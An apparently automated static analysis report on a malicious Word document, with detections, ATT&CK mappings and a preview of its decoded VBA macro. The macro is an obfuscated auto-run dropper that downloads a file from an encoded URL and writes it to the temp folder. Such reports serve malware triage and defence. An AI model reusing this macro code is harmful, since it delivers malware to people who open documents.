Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3031dedde587c900…

MALICIOUS

Office (OLE)

171.5 KB Created: 2018-06-07 00:46:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 0cad4f9b6f9315f45279842170dc81a2 SHA-1: 9410fee3c43114b10866d65c16ec1fd78d64cd0a SHA-256: 3031dedde587c9007b577148119235a656ae42e105b3ecc882a496910da7bd1d
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains VBA macros, including an auto-executing loader in the Document_Open macro. Heuristics indicate that these macros are obfuscated and designed to download and execute a file from a URL. The ClamAV signature 'Doc.Dropper.Emodnlm-6755244-0' further supports its classification as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            qmrsW = ZMuVzMW.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set UdeajGaj = CreateObject(lGgKeNOc("sOctr%iZpmtNiLnGgn.ifdi_lWels$yWsMt*eJm)oKbajRefchtC"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set UdeajGaj = CreateObject(lGgKeNOc("sOctr%iZpmtNiLnGgn.ifdi_lWels$yWsMt*eJm)oKbajRefchtC"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 54724 bytes
SHA-256: 27beb31ddd792ab11d2a44c1ebd9e13c2ee34d828a8ef3d97b468954cf7c4996
Detection
ClamAV: No threats found
Obfuscation or payload: likely
579 of 834 identifiers look randomly generated (e.g. 'LGrynVjDUCPNdhrsGoAIRdIAKnQOLsyLWQbKQZd') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function gXVEqq(FjAVVgk As Integer, RiDqGP As Boolean, eMrGoh As Boolean, sXkKZBH As Double) As String
    nBmBqxw = RTrim("bF(xZLy!P.jt")
    hVYvjA = 638 + 1132 + 619
    DnEGSk = StrReverse("K E!bYAsEEZLunn")
    bjZfRL = Left("DFxIY?JH.aC", 2)
    hVYvjA = StrReverse("IFsQm^l^PC")
    While MhNDpb < 288
        nBmBqxw = RTrim("mozr)dGO$Y %q")
        bjZfRL = Space(8)
        hVYvjA = ".P#zDp?*KESRedX]HFK" + "VvQfl(&EKL- lCN" + "pbeaqnFy$mh]VKcx@"
        DnEGSk = Right("ZxAn P&A?R$qu-M^^Ue)", 5)
        PxoDfg = 1616 + 609 + 1243
        hVYvjA = StrReverse("ETKhe%$tL_GVCfz dbq")
        GVCJXnQ = UCase(")Om_KsYdMDzBp")
        nBmBqxw = Left("Gwu]i_o[s!dqUjN", 2)
        MhNDpb = MhNDpb + 3
    Wend

    DnEGSk = Left("jLP]ZaUZ#y_A", 3)
    DnEGSk = 1824 - 450 - 1321
    bjZfRL = Space(12)
    riEGkY = LTrim("vU.Y_U^XQi-eCQEsXu ")
    fcKFXqm = 1779 - 1427 - 1373
    GVCJXnQ = "Zfo?cK_qU?&@?Tff" + "oJsb#!@tZp" + "np_p DMAf$[XLUZscF"
    hVYvjA = RTrim("T!QCS%pgoTLGfVCX")
    bjZfRL = 1291 + 1839 + 925
    fcKFXqm = 1222 - 1069 - 988
    PxoDfg = RTrim("[ AQnVKtOZOxRkUbE#")
    While RRXRHR < 104
        GVCJXnQ = Left("GfZGxcby&nbCJq?", 4)
        hVYvjA = Left("j^b*moJOS qmAN.&", 5)
        fcKFXqm = LTrim("hQkc-(DM^]uv%yPb")
        riEGkY = Left("F%h#!jLcU_uGAd", 2)
        RRXRHR = RRXRHR + 1
    Wend

    bjZfRL = 252 + 894 + 548
    DnEGSk = Right(".$ z]KwOoc])m^Klhe", 5)
    fcKFXqm = RTrim("HOs(IImJGM]WHTED")
    gXVEqq = "RiZkqxIzBNOmwZPsSxuV"
End Function

Private Sub Document_Open()
    Dim vNFcni As String
    bjZfRL = 1095 + 1429 + 189
    hVYvjA = Left("$@k&gB?wAoYmQhZmq%jB", 3)
    nBmBqxw = RTrim("[eKWjdBRBA?EN")
    bjZfRL = "VXFXEYsSdM.oP].D#OqI" + "X_VgJlMCeRT!eGw$-o" + "dLzqIzZM&q&Ow"
    For nOSNdi = 0 To 131
        mcPofdDV = 686 + 1965 + 1293
        hVYvjA = 1197 + 1000 + 1533
        hVYvjA = RTrim("%fpctPN-nNF")
        riEGkY = "uC-cWiUptSAnh" + "u?j!n]O!yj^p" + "#-PNWpoq$fSg"
        DnEGSk = RTrim("gMg&cno_IG")
        PxoDfg = Right("t WiIw.h&AQa!g", 3)
        mcPofdDV = Left("czBa%L_E!sEQU-Pue", 3)
    Next nOSNdi

    For HRvLQF = 0 To 262
        PxoDfg = Left("$c-DPBwLL[-&T.I", 2)
        PxoDfg = 1649 - 1434 - 605
        bjZfRL = Right("M@Sdldc!rqT@^.@TkwWy", 4)
        PxoDfg = "Mfz!!mezlSHa#HTnwfd" + "XuEZ]J-E&PVaT]gD" + "^[Ifm#zrpeqACX_"
        DnEGSk = StrReverse("DGjpIHPk?S")
        nBmBqxw = Space(16)
        fcKFXqm = Right("N_me[.diiQ.Mcn", 2)
        mcPofdDV = Right("&fX#vFXXX&.bnjK*[", 5)
        riEGkY = RTrim("!g]W$MAo@cJhPgaO&h")
    Next HRvLQF

    fcKFXqm = 1253 - 931 - 1068
    nBmBqxw = RTrim("zz.-EQHIrJiASbD(viK")
    For xlgtiO = 0 To 194
        hVYvjA = StrReverse("OCWqAmeaHaWVV#jdtmb[")
        fcKFXqm = StrReverse("I@y_MYFJI?ksvU*dRQuH")
        fcKFXqm = LTrim("PrA(@Bj#g$FfG^y?)")
        DnEGSk = UCase("$JhKkAkp[!f#E-lQ h!")
        GVCJXnQ = LTrim("jKSmLaLdA^IVanB")
        fcKFXqm = 1454 + 1448 + 1860
    Next xlgtiO

    Set UdeajGaj = CreateObject(lGgKeNOc("sOctr%iZpmtNiLnGgn.ifdi_lWels$yWsMt*eJm)oKbajRefchtC"))
    While oqpekL < 36
        DnEGSk = RTrim("X_D (WlKIFPqlN")
        DnEGSk = RTrim("DcHOQVHf.-k-JAE!")
        mcPofdDV = UCase("aTuO&jSvWo")
        nBmBqxw = 1131 - 1654 - 1504
        PxoDfg = "l*GCRw@Q^?$baN*" + "!wEqYePkkQxFek" + "emh.&ATuD-t#Bk maHd"
        mcPofdDV = Left("TPy?@qjigR#wjrc@ZwTo", 5)
        oqpekL = oqpekL + 1
    Wend

    fcKFXqm = UCase("WzQomSDpe_oR)xUX")
    While cFRyaR < 378
        nBmBqxw = 316 + 1026 + 1127
        PxoDfg = Space(3)
        mcPofdDV = StrReverse("CIKipF_KRJ")
        nBmBqxw = UCase("%rqAf-mtjNfoET^f")
        fcKFXqm = LTrim("jlTkBZKdXzv@m ")
        GVCJXnQ = RTrim("b RrC$ztFDCk%FSKf.!")
        fcKFXqm = Right("v%z%?n@^)yu$sI", 5)
        bjZfRL = LTrim("R*VCDoTsv$")
        PxoDfg = LTrim("LlNWRchsgE#")
        PxoDfg = UCase("G$PQsTkkLm@awR[*D")
        cFRyaR = cFRyaR + 2
    Wend

    fcKFXqm = Right("T?O*r[*Lv&AGG)[", 5)
    hVYvjA = Left("u.Kubj]RABUXR", 3)
    bjZfRL = RTrim("(lOS&JDJpVSV^RjI")
    GVCJXnQ = UCase("RhXB&$gJ%x@l[vTNsS")
    mcPofdDV = 814 - 1230 - 1546
    fcKFXqm = Left("qh.&GUTQnS]z", 2)
    NBThZdoh = UdeajGaj.GetSpecialFolder(1 + 1)
    hVYvjA = Space(18)
    fcKFXqm = LTrim("ARShit^_hnRQNuf")
    While ZdAqnm < 23
        bjZfRL = 434 - 1249 - 1760
        hVYvjA = StrReverse("n*bj]wgO#a$.idOV")
        nBmBqxw = Space(4)
        GVCJXnQ = 541 + 395 + 490
        DnEGSk = 709 + 1995 + 1875
        nBmBqxw = 1752 + 1351 + 1193
        ZdAqnm = ZdAqnm + 2
    Wend

    fcKFXqm = Space(18)
    riEGkY = Space(3)
    riEGkY = 1248 + 270 + 128
    GVCJXnQ = Space(20)
    While mPWISV < 220
        nBmBqxw = RTrim("^%Ed^sC-PwC[)XWLFtUw")
        fcKFXqm = " EGYzUErTbPCyzZhKtC" + "uCR&VtAFx[jpvDfO@rW^" + "^ub!m%vgI@WK@pRmCi"
        nBmBqxw = StrReverse("](WFabvK_r")
        mcPofdDV = Space(20)
        GVCJXnQ = 244 - 1780 - 607
        GVCJXnQ = LTrim("QIVaLztQbZm%f*_EDTw")
        PxoDfg = UCase("GkQ_RMMcoK")
        bjZfRL = LTrim("H^?N.[lVXGXeB")
        mcPofdDV = 943 + 1835 + 1875
        GVCJXnQ = "Jek?FQzbQ%sljZkddcWk" + "Uj&nrIzG *cRJi$trC? " + "^kf*CFrZhcL%&Cr@"
        mPWISV = mPWISV + 3
    Wend

    PxoDfg = 1068 - 922 - 123
    vNFcni = StrReverse("^ewx)e!.UQIb_rqc@HAR")
    riEGkY = UCase("L$Fu&L&I*vFm")
    DnEGSk = 1459 + 255 + 1678
    hVYvjA = Space(3)
    For dirlfw = 0 To 359
        nBmBqxw = Right("oEdE&)C)qCGqhRkK xiw", 2)
        PxoDfg = LTrim("xj#lF-T^a%r]kat")
        bjZfRL = Right("f]VvLsNoWd [UhK", 5)
        bjZfRL = Left("[?O&B!Ks?uXhRMirHiG", 4)
        riEGkY = Left("Xqy) Ow[rEEJ%&rN vYa", 2)
        DnEGSk = Space(17)
        mcPofdDV = Right("uQTiF^)XgtqTOn_D", 2)
        DnEGSk = Right("mBEio-hTOanSjQ", 2)
    Next dirlfw

    For kQRdQf = 0 To 39
        mcPofdDV = LTrim("bZw&@hAyFNM]Q.BUiD")
        PxoDfg = 1720 - 518 - 614
        DnEGSk = Right("(FoiMvls)cx^", 2)
        DnEGSk = UCase("J^sT^.cC_Z")
    Next kQRdQf

    GVCJXnQ = RTrim("BxF_[DaWor)iL()?]a")
    hVYvjA = "%wo%Zzd-Gc--NbngMhF" + "!.c_DOwiOQMXG%" + "vF@]Nb%lvQVF!k&"
    bjZfRL = "DFTzJJqsF]x-*OQCdJ" + "RZPYOy)gOFHGtICEqzf(" + "e-&Zyr.GbiZ)$GY^BRh"
    DnEGSk = Space(14)
    mcPofdDV = UCase("TPe&&#kFDg@wBFwl")
    fcKFXqm = 1871 + 1603 + 1502
    fcKFXqm = UCase("Gk[mTYXPxd]ljSR(JZIH")
    hVYvjA = 471 + 1513 + 1828
    riEGkY = Space(14)
    riEGkY = LTrim("SP^D tjcH[rxpI!hPZ")
    bjZfRL = 1163 - 671 - 964
    DnEGSk = 1396 + 961 + 655
    riEGkY = 1631 - 1322 - 1767
    riEGkY = 130 + 1413 + 1586
    DnEGSk = 520 + 1563 + 1133
    DnEGSk = 923 + 1743 + 632
    PxoDfg = Space(20)
    DnEGSk = StrReverse("zyF#syVR*SShWUY")
    For TJunBA = 0 To 45
        fcKFXqm = LTrim("I[hi-i?#^h-Hh@M")
        DnEGSk = 903 - 1990 - 746
        mcPofdDV = 1772 - 1554 - 1550
        fcKFXqm = Space(12)
        hVYvjA = 1435 + 587 + 811
        mcPofdDV = LTrim("^.py OyHrRbAHPa")
        fcKFXqm = 881 + 434 + 1169
        fcKFXqm = StrReverse("[YocsU ?$E")
    Next TJunBA

    riEGkY = UCase("LLOI@MxoXDtM).(vN")
    While JxGWer < 100
        GVCJXnQ = Left("vYRnSFYOEzY!OFjiJ", 2)
        GVCJXnQ = "*T.Hc[.R%?f*w" + "qaBShcBnmRiX_A" + "&xspL*bwIAd(b)"
        JxGWer = JxGWer + 3
    Wend

    fcKFXqm = Right("N)oraSA#J[O^ylj@", 2)
    Dim ZMuVzMW, XDYrIfW As Object
    mcPofdDV = Right("xW$iIKmwqBWO]", 4)
    riEGkY = RTrim("I]Fa-uhyGHQf]nDfG")
    PxoDfg = ".cF^o[OENZDF_C" + "GKZMVhUyBy" + "!kpk#cBTIO?V?Yi!X"
    hVYvjA = Space(15)
    fcKFXqm = 1710 - 1902 - 903
    riEGkY = Space(14)
    Set ZMuVzMW = CreateObject(lGgKeNOc("M#iKcOr?ocs&oKf!tG.vX*M@L]HJT.TuPU"))
    bjZfRL = Right("TgHlkyV#[E", 2)
    fcKFXqm = StrReverse("l$mTV$Q!OWAj#W&")
    PxoDfg = "-OrJIodQE^VpSRV" + "_((?nsY[LE).-F&P" + "Byy*_cbKiOnD#pN!"
    nBmBqxw = LTrim("f[%aUxeUwtr.A_IY$c(")
    hVYvjA = LTrim("qtXGrb^$Ro")
    riEGkY = "LAtoqRfhGp" + "HPLVvhbU-j$N" + "OjehMA[RRXU"
    CNkMGc = lGgKeNOc("hytVtlpL:v/o/seSapsDy!a*rZmt.Zc[ozmV/(hGuSj*yM.JeyxeeO")
    PxoDfg = Right("q?]gROSiMohw!OF?yv", 3)
    fcKFXqm = UCase("Qut(IPJ(CJB[@N")
    hVYvjA = UCase("mK]@fS%S?)")
    mcPofdDV = 1933 - 693 - 1413
    fcKFXqm = 199 - 713 - 1723
    hVYvjA = LTrim("G hbyBGfYBfY)")
    hVYvjA = LTrim("%^zxIh?#qF")
    ZMuVzMW.Open "GET", CNkMGc, False
    While JryCUF < 46
        bjZfRL = 315 + 758 + 833
        nBmBqxw = 834 - 644 - 1299
        JryCUF = JryCUF + 3
    Wend

    fcKFXqm = UCase("YHnrKKvG-T-[_Yyfnw")
    bjZfRL = Right("Du?Fx^tWVJt-NP^m*R", 4)
    mcPofdDV = LTrim("KUdJY]%IDec)hz%vafvU")
    bjZfRL = Right("()FbVkwLULk", 2)
    ZMuVzMW.send
    hVYvjA = "j(UKsz yeY)[cN_@" + "QAa%UN$?E[.kkTWq" + "tNBFSC(lyt(JiPHrv%ZE"
    While OGKMnt < 333
        mcPofdDV = "Kecymr*a*QCFjpApeX" + "oOpEsZs^X k!D" + "f%U^mbPY!SNFFsmtA"
        PxoDfg = "_k]M&.Eur-.f*?Cf)T" + ".[.V)Khfb^ay" + "cE^BUx.rGs."
        bjZfRL = Left("QiUtx)vWB^ rHX", 4)
        DnEGSk = UCase("uR@V?xlO !sNYFS#(X")
        GVCJXnQ = Space(2)
        fcKFXqm = RTrim("oHI?Xm)VTxDuuCYm")
        GVCJXnQ = LTrim("mtY!xfVH-u#FwhPhU]H")
        hVYvjA = Right("B$(AEi@a?FGD", 4)
        bjZfRL = UCase("wc]E?uHOzGbeuM@H.(w")
        riEGkY = Left("(*IL]iy(mCR]? ?EnJu", 3)
        OGKMnt = OGKMnt + 1
    Wend

    hVYvjA = "OVm%$I$n*KU^(PEd " + "[fP_Ln^gPfcY." + "X$Ijb&tdOd!S!Wuz"
    hVYvjA = LTrim("UC)MN!nZi-VEL$M")
    fcKFXqm = Space(3)
    GVCJXnQ = Right("$io]i)Z?r@?SKM", 2)
    DnEGSk = Right("hnUEZkviTgldk?y]ik_u", 3)
    riEGkY = UCase("b#o$f.RCz_tRX")
    bjZfRL = Space(2)
    If ZMuVzMW.Status = 202 - 2 Then
    While OmEBMN < 343
        hVYvjA = StrReverse("h^A!.JXMiBs?ZP")
        PxoDfg = 1805 + 1612 + 1990
        OmEBMN = OmEBMN + 3
    Wend

    bjZfRL = 633 - 239 - 1213
    hVYvjA = RTrim("SGJbPW$[f%C.l@NR_VJ")
    For kwpCfz = 0 To 340
        fcKFXqm = StrReverse("eSXRD^kLa@Xo_")
        mcPofdDV = 648 - 327 - 1673
        fcKFXqm = 297 - 1265 - 1626
        hVYvjA = Right("oBzGo?JfV(@XX-", 4)
        DnEGSk = LTrim("PAgFvi&&e^hO")
        fcKFXqm = LTrim(")vX[As[*uKW")
        hVYvjA = Left("JnYTc QJRc", 3)
        fcKFXqm = 240 + 119 + 489
        hVYvjA = LTrim("k_IncPcrjBW")
        DnEGSk = UCase("cd)aroec^bybW")
    Next kwpCfz

    DnEGSk = "kWR-vU!XVv&EdJgFZ" + "SZ(ctTqmV-FR" + "dxyytk#Gs#DSVKOWr-OX"
        Set XDYrIfW = CreateObject(lGgKeNOc("AyDrO?DjBJ.nSetwrheqaem_"))
    GVCJXnQ = RTrim(")Jgzyprz!Fcd")
    For fwcTQP = 0 To 134
        mcPofdDV = RTrim("._W$?FD)MOzZI.Vw)?")
        hVYvjA = LTrim("yV&sLQtiemSTyvsO")
    Next fwcTQP

    fcKFXqm = 464 - 830 - 1231
    While ZkREwM < 287
        bjZfRL = StrReverse("wvaxE@bw#hQbBZs")
        bjZfRL = Right("aS.JTkjd*CS%-*iE", 4)
        mcPofdDV = "aE*F%-ne(WIW#nxr[_" + "e!$oah$ve f " + "t$JNp@aC$Hn"
        ZkREwM = ZkREwM + 3
    Wend

    PxoDfg = Space(16)
    While yOZYTN < 140
        nBmBqxw = Right("ai kWu.asoB$m)CinV%W", 5)
        mcPofdDV = "&MiTs-bIfa%(K]OH!kNo" + "*tHWMw.?^ufAPXd" + "%ZOu&owp#gCdR"
        nBmBqxw = 303 - 1099 - 1044
        fcKFXqm = Space(17)
        fcKFXqm = 1614 + 760 + 1633
        GVCJXnQ = "y#lP*Ec[dJiJ$K" + "v?(Xp!eJBsgkQ?[" + "TStXp eFDPu!f"
        GVCJXnQ = "L.h.[*rM)P .Vajt" + " NK)(LE??Nsc]N" + "V&vLA!*_sVywXlyL*m"
        yOZYTN = yOZYTN + 3
    Wend

        XDYrIfW.Open
    fcKFXqm = Space(10)
    mcPofdDV = UCase("n?m.UuMKIDtFrCGaKXZ&")
    DnEGSk = 249 - 712 - 1654
    GVCJXnQ = UCase("$uF&ACyVON$vSq")
    For XYANgJ = 0 To 212
        mcPofdDV = Right("QMByF* MJnppt[", 4)
        bjZfRL = Right("*MzRB?q?qoSTn!eb!", 5)
        nBmBqxw = Space(14)
        DnEGSk = 873 - 1978 - 1212
        mcPofdDV = 1891 - 608 - 1288
        nBmBqxw = Right(" b?AIm&s!V", 2)
        DnEGSk = 652 - 112 - 1307
        mcPofdDV = UCase("WwklgHHNo&-X)H")
        DnEGSk = UCase("C_OB&-!Utyrb!W[uH@KN")
        fcKFXqm = 1658 + 1738 + 1261
    Next XYANgJ

    For FiWrRW = 0 To 192
        GVCJXnQ = Left(" j@Z*yB.&kd&pz[X", 4)
        DnEGSk = 1043 - 419 - 716
        mcPofdDV = "GHNDZPHIDu Nkai" + "vAKacoWTzph*CpE@GtF" + "QGtpVf uYGVJd^jKkZ"
        PxoDfg = Right("Rh@r-SfrURTp?fm", 2)
    Next FiWrRW

        XDYrIfW.Type = 2 - 1
    riEGkY = Left("why][ Tn.e", 5)
    mcPofdDV = StrReverse("nV_#[.G[zEIluj&d?FTN")
    For MEJwjG = 0 To 304
        hVYvjA = 1669 + 1146 + 510
        fcKFXqm = UCase("*jhRVsDKurBZcty_b@&l")
        DnEGSk = 208 - 684 - 1819
        nBmBqxw = Right("AiHn_BkUJi_", 4)
        nBmBqxw = 237 + 1779 + 1361
        riEGkY = Right("gJooBD(S%&* hd", 4)
        GVCJXnQ = Left("eAqQ^OVc%T.[AnT&", 3)
    Next MEJwjG

    hVYvjA = LTrim("WluEAS( CG%M")
    hVYvjA = 1449 - 904 - 1942
    hVYvjA = "R^Huppv#aQ lU" + "W MzcDQcSww[a s$Ro" + "W#b.KSsc[toZSklfz"
    For IobHCq = 0 To 71
        GVCJXnQ = Left("nkzOXMf$QEVaIyTW", 3)
        GVCJXnQ = StrReverse("!!ic@jS_aYs()pKLD")
        fcKFXqm = Left("qN[.-InaRSYCPy rLa", 5)
        nBmBqxw = 375 + 1474 + 146
        hVYvjA = 1036 + 1072 + 927
        PxoDfg = RTrim("FwIUDpmNLdeff]mx")
        nBmBqxw = "s)$EB&iAHKsg%Mm" + "YTc]BVlm_PzUs" + "FE$as(#gYVgcgjQQ"
        DnEGSk = RTrim("$rEpynDm$sDsZ")
    Next IobHCq

    While GirQUa < 288
        mcPofdDV = Left("@@@pxTcpw(Xnxzg^c", 2)
        mcPofdDV = "YH)zThEbxpJv" + "x%rsuoo*m(d-ZU&r ev" + ".uXrZJRpGr["
        DnEGSk = RTrim("uvifKzo$(x$Z")
        GVCJXnQ = RTrim("lQFUlnpP uMm$yU%hzz")
        GirQUa = GirQUa + 3
    Wend

    riEGkY = 1171 + 606 + 1812
        qmrsW = ZMuVzMW.responseBody
    For sSBOoO = 0 To 169
        fcKFXqm = StrReverse("mhti@hMT^-#zwI")
        bjZfRL = LTrim("]jM#)!JzQcySzyiB")
        fcKFXqm = 1305 - 1800 - 1736
        DnEGSk = LTrim("wDDrnGFJi)^&xcBjS")
        PxoDfg = 1173 + 1476 + 1451
        bjZfRL = RTrim("SXzNWt)jccQq$Rqmv")
        DnEGSk = Left("LU@Uho@l]ObjDyM!BGJ", 2)
        GVCJXnQ = UCase("YDVy^wg#z)n")
        hVYvjA = Space(8)
        riEGkY = "SQ-olW^BTd.cDtPX[" + "@Eczj-NVZkP" + "RSGo_ARe.GU#F(N f"
    Next sSBOoO

    riEGkY = RTrim("#eYx[)(FbR?OJ")
    For cbgWvb = 0 To 174
        GVCJXnQ = 196 - 1689 - 887
        DnEGSk = 1767 + 1262 + 1883
        mcPofdDV = Space(19)
        mcPofdDV = RTrim("(CcErNt h)C%Y.^Mlg]c")
        mcPofdDV = 1363 - 389 - 330
        fcKFXqm = 1975 - 818 - 101
        nBmBqxw = "^*odNmSwHx" + "jiZy@wO#bJQhH qi" + "W)mkx# xmNPSaRziwhnW"
        GVCJXnQ = 822 + 836 + 1514
        fcKFXqm = Left("qKJH]oDqQLccXw", 3)
        fcKFXqm = 640 - 675 - 632
    Next cbgWvb

    While fzMYiq < 172
        fcKFXqm = 240 + 1877 + 1331
        PxoDfg = LTrim("Z@BW]JkrnxPdXMFZq")
        PxoDfg = Space(6)
        GVCJXnQ = StrReverse("B?ORP(yPx^")
        hVYvjA = Space(6)
        bjZfRL = 1079 + 1504 + 1330
        riEGkY = StrReverse("FL_(Q%K.F%uE[G")
        fzMYiq = fzMYiq + 1
    Wend

    PxoDfg = LTrim("KBvF-JnTC(JKs%")
    riEGkY = UCase("XR]#*OFLRY")
    bjZfRL = RTrim("O&*_i*^dTMYa")
        XDYrIfW.Write qmrsW
    For YQYQKE = 0 To 189
        mcPofdDV = Right("NPb&x.rqbk o$Vp^t*", 5)
        nBmBqxw = 504 - 343 - 1898
        riEGkY = RTrim("^bMjYyEZMt_UjY")
        GVCJXnQ = 1764 - 1857 - 187
        bjZfRL = UCase("iI[]#Dtja$ j&Y")
        mcPofdDV = UCase("YXX$rnf*^MI")
        nBmBqxw = 680 - 1030 - 1575
        nBmBqxw = 1515 - 770 - 1541
        fcKFXqm = Right("hfNW^R!^^*NCzFbT", 3)
    Next YQYQKE

    PxoDfg = RTrim("LETfUTo%Nu !GGc")
    nBmBqxw = LTrim("nWdHCckw&zhq%MKGex]")
    bjZfRL = LTrim("bX@^B^ZI @-U VY NkGd")
    fcKFXqm = Space(14)
        Dim ivoSiR As Object
    While fCXwYR < 224
        GVCJXnQ = LTrim("ZEnkkZyzNr^ECS?ql")
        PxoDfg = Space(7)
        fCXwYR = fCXwYR + 1
    Wend

    For QHnWcm = 0 To 297
        fcKFXqm = Left(" Q[#LUtTm_r-dj!l_-hv", 2)
        DnEGSk = UCase("o^VkGWkbBQ!rxMY")
        mcPofdDV = LTrim("LG$i_$SJZH")
        nBmBqxw = LTrim("#%VkPLascakkiNv)Qo")
        DnEGSk = RTrim("y[JrHZCH)(!Y(FpLNhDX")
        hVYvjA = Right("d(P^xl^Kkk&L(-lia_", 4)
        GVCJXnQ = Left("Z!RU^dcF@P]lT$", 2)
        fcKFXqm = Space(14)
        hVYvjA = 1399 + 417 + 322
    Next QHnWcm

    fcKFXqm = UCase("s(y*.ksX Whm%")
    bjZfRL = Left("f?hkQ%oojgUymJlCoV", 4)
    fcKFXqm = UCase("WOnYKYN.nQP")
    DnEGSk = Left("y]%&XBhOJ?SL", 4)
        Set ivoSiR = CreateObject(lGgKeNOc("s&ccrMixpMtxiUn&g^.gf*iUlve)s)y!sptBeLmiorbJj@e[cOt*"))
    For YaleZB = 0 To 54
        hVYvjA = Right("Nszf-OHnf&^KmSh!N!_", 2)
        nBmBqxw = Space(4)
        DnEGSk = Space(3)
        mcPofdDV = StrReverse("KgmWKi$WCTF")
        hVYvjA = Right("VGVn bay.mk*&f-nHN", 5)
        nBmBqxw = 423 + 969 + 239
        bjZfRL = RTrim("V! iQV@%FM")
        nBmBqxw = 717 + 1926 + 261
    Next YaleZB

    PxoDfg = 1344 + 1985 + 1781
    bjZfRL = Space(11)
    bjZfRL = LTrim("-zz.KYcUuu")
    fcKFXqm = Left("nJC[d)X_]s@PnGxb", 3)
        XujjV = ivoSiR.GetSpecialFolder(6 - 4)
    For vaLcJF = 0 To 263
        mcPofdDV = LTrim("Gpy[xE[qofF-RB")
        hVYvjA = StrReverse("!Gn[OQxCw-MRVpAQB#")
        hVYvjA = UCase("CgZF*nunRO")
        mcPofdDV = StrReverse("LrWcc]?.T^#MtuD)")
    Next vaLcJF

    While MZJslb < 83
        nBmBqxw = 1859 + 325 + 439
        bjZfRL = LTrim("*OObakAO_j)Lmm")
        riEGkY = LTrim("msix-sRLiy#EMaUw%Q")
        fcKFXqm = Left("W[M$*#nb G^m", 2)
        hVYvjA = Right("mTQtl](Qq#UZu]i", 4)
        riEGkY = UCase("KZHrA_rnB[d")
        GVCJXnQ = StrReverse("n]iS[faQ.-zcSkV")
        MZJslb = MZJslb + 2
    Wend

    mcPofdDV = Left("d_rKI DxQ@knpUy#TLB$", 4)
    nBmBqxw = 727 - 280 - 146
    While NuAcom < 358
        mcPofdDV = UCase("xxRqkbJtN-WxrXaWBM")
        fcKFXqm = 789 - 1717 - 1673
        mcPofdDV = Space(4)
        nBmBqxw = "B-&expwD I" + "]yZGp-UqcJgIRzD]hdbq" + "OyIAQ(JS$SyB HXyF)"
        NuAcom = NuAcom + 2
    Wend

    PxoDfg = LTrim("@e(lChR^q#^x")
        Call XDYrIfW.SaveToFile(XujjV & "\\" & lGgKeNOc("RFH*cErfbOQ&.NefxGeX"), 2)
    For wtEPOT = 0 To 202
        bjZfRL = LTrim("-$SJ)N(occMOFnpF*Y")
        DnEGSk = Right("T.l(lEDT]&J", 2)
        nBmBqxw = UCase("Q#NOR$vMov@L#QMAb_E")
        bjZfRL = StrReverse("P^K?UbD(lfqn?d")
        GVCJXnQ = "pYUYaW@kvoOJA(y^dy$D" + "@tagSEkhrns[rRuY@" + "a]_K*REpDy%_h$ZamxE"
        DnEGSk = 787 - 1064 - 202
        nBmBqxw = RTrim("mk [qF)Jg$#mQZqv")
        DnEGSk = Left("IK^akB#pEx", 3)
        mcPofdDV = "DD*N!X%c%xH#]^zbZ" + "OcY(Adn%dOdaFWJH(#r%" + "m]TC$XJaDE$aae$UWUyo"
        DnEGSk = Left("_hjXU.COEh ORfsDGwa.", 4)
    Next wtEPOT

    PxoDfg = StrReverse("r^A$bLJgNlx]]IhUqp")
    For UevmMw = 0 To 333
        mcPofdDV = Left("vN]upPIg$jE(iszuP[uT", 2)
        GVCJXnQ = 932 - 1705 - 1619
        nBmBqxw = StrReverse("^A$M%kprqAnOh.w")
        bjZfRL = ".DOymL@h%JkZo(Bjyb-" + "RaupmrzfXrKb" + "mDVY)rREq&Ab"
        bjZfRL = RTrim("$$IIF[uAU Ktqio")
    Next UevmMw

    fcKFXqm = 1583 - 1636 - 1279
    DnEGSk = 1133 + 1681 + 1669
    nBmBqxw = LTrim("(dGo_C]&zEXYaayQnd")
    While woOTBh < 263
        bjZfRL = UCase("?XGupu^XGpPs*")
        GVCJXnQ = Left("kUn_]DHdw[Uyep%", 2)
        nBmBqxw = Space(1)
        nBmBqxw = StrReverse("jLuKEe[_Qd")
        GVCJXnQ = Space(11)
        bjZfRL = Space(13)
        bjZfRL = Space(2)
        bjZfRL = StrReverse("E*gJPqtltF!v")
        woOTBh = woOTBh + 1
